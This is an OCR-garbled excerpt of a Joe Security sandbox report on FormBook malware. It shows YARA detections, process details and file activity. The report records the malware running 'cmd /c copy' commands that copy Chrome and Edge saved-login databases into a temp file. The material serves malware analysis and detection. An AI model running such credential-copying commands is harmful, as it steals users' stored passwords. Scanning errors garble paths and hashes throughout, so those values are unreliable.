e Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:

00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, Author:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, Author:

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, Author:

dot com
e Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:

00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, Author:

File Activities

Joe Security
JPCERT/CC Incident Response Group

Felix Bilstein - yara-signator at cocacoding

unknown

Joe Security

JPCERT/CC Incident Response Group

Felix Bilstein - yara-signator at cocacoding

unknown

Joe Security

JPCERT/CC Incident Response Group

Felix Bilstein - yara-signator at cocacoding

unknown

File Path Access Attributes Options Completion Count Source Address Symbol
File Read

File Path Offset Length Completion Count Source Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1696752 success or wait 1 330A407 NtReadFile
Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol
Key Path Name Type Data Completion Count Source Address Symbol

Analysis Process: ielowutil.exe PID: 1980, Parent PID: 4868

General

Target ID: 24

Start time: 17:43:55

Start date: 08/08/2022

Path: C:\Program Files (x86)\Internet Explorer\ielowutil.exe

Wow64 process (32bit): true

Commandline: "C:\Program Files (x86)\internet exploren\ielowutil.exe"

Imagebase: 0xb70000

File size: 221696 bytes

MD5 hash: 650FE7460630188008BF8C8153526CEB
Has elevated privileges: false

Has administrator false

privileges:

Programmed in: C, C++ or other language

Analysis Process: ielowutil.exe PID: 5692, Parent PID: 4868

General

Target ID: 25

Start time: 17:44:03

Start date: 08/08/2022

Path: C:\Program Files (x86)\Internet Explorer\ielowutil.exe
Wow64 process (32bit): true
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Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

"C:\Program Files (x86)\internet exploren\ielowutil.exe"

0xb70000
221696 bytes

650FE7460630188008BF8C8153526CEB

false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 7612, Parent PID: 7768

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

File Created
File Path

26
17:44:38
08/08/2022

C:\Windows\SysWOW64\cmd.exe

true

/c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V/

0xfa0000

236544 bytes

DOFCE3AFAGAA1D58CE9FA336CC2B675B

true

true

C, C++ or other language

C:\Users\user\AppData\Local\Temp\DB1

File Written

File Path Offset Length
C:\Users\user\AppData\Local\Te 0 45056
mp\DB1

Copyright Joe Security LLC 2022

Access Attributes Options Completion Count Source Address Symbol
read data or list ~ device sequential only | ' success or wait 1 FB4466 CopyFileEx
directory | read non directory file W
attributes |
delete | write dac
| synchronize |
generic read |
generic write

Value Ascii Completion Count Source Address Symbol

5351 4c 69 74 652066  SQLite format 3@ .0} success or wait 1 FB4466 CopyFileExW

6f 72 6d 61 74 20 33 00
08 00 01 01 00 40 20 20
00 00 00 02 00 00 00 18
00 00 00 00 00 00 00 00
00 00 00 Oe 00 00 00 04
00 00 00 00 00 00 00 00
00 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 02
00 2e 4f 7d 05 00 00 00
01 07 fd 00 00 00 00 10
07 fd 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
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File Read

File Path

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login

Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login

Data

C:\Users\user\AppData\Local\Temp\DB1

Offset

unknown

unknown

unknown

Analysis Process: conhost.exe PID: 5456, Parent PID: 7612

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

27

17:44:39

08/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7e6000000

875008 bytes
81CA40085FC75BABD2C91D18AAIFFA68

true

true

C, C++ or other language

Analysis Process: cmd.exe PID: 6600, Parent PID: 7768

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

File Path

File Written

File Path

28

17:44:39

08/08/2022
C:\Windows\SyswOWwe64\cmd.exe

true

Length

512

65024

45056

Completion

success or wait

success or wait

success or wait

Count Source Address

1

1

1

FB4CDO

FCO49F

FC04C9

/c copy "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Users\user\AppData\Loca\Temp\DB1" /V

0xfa0000

236544 bytes
DOFCE3AFA6AALDS58CE9FA336CC2B675B
true

true

C, C++ or other language

Access

Offset Length Value

Copyright Joe Security LLC 2022

Attributes

Ascii

Options

Completion

Completion

Count Source Address

Count Source Address

Symbol

ReadFile

ReadFile

ReadFile

Symbol

Symbol
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File Path

C:\Users\user\AppData\Local\Te 0

mp\DB1

File Read
File Path

Offset Length Value

49152 53 51 4¢ 69 74 65 20 66
6f 72 6d 61 74 20 33 00
08 00 01 01 00 40 20 20
00 00 00 02 00 00 00 18
00 00 00 00 00 00 00 00
00 00 00 Oe 00 00 00 04
00 00 00 00 00 00 00 00
00 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 02
00 2e 4f 7d 05 00 00 00
01 07 fd 00 00 00 00 10
07 fd 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

Offset

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown

Analysis Process: conhost.exe PID: 4056, Parent PID: 6600

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

29

17:44:40

08/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7e6000000

875008 bytes
81CA40085FC75BABD2C91D18AA9FFAGS

true

true

C, C++ or other language

Analysis Process: firefox.exe PID: 6640, Parent PID: 7768

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

30

17:44:41

08/08/2022

C:\Program Files\Mozilla Firefox\firefox.exe
false

C:\Program Files\Mozilla Firefox\Firefox.exe
0x7ff6a8ce0000

597432 bytes
FA9F4FC5D7ECAB5A20BF7A9D1251C851

true

Copyright Joe Security LLC 2022

Ascii

SQLite format 3@ .O}

Length

512

Completion

success or wait

Completion

success or wait

Count Source Address

1 FB4466

Count Source Address

1 FB4CDO

Symbol

CopyFileExW

Symbol

ReadFile
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Has administrator true
privileges:

Programmed in: C, C++ or other language

File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Offset Length Completion Count Source Address Symbol

Disassembly

@ No disassembly
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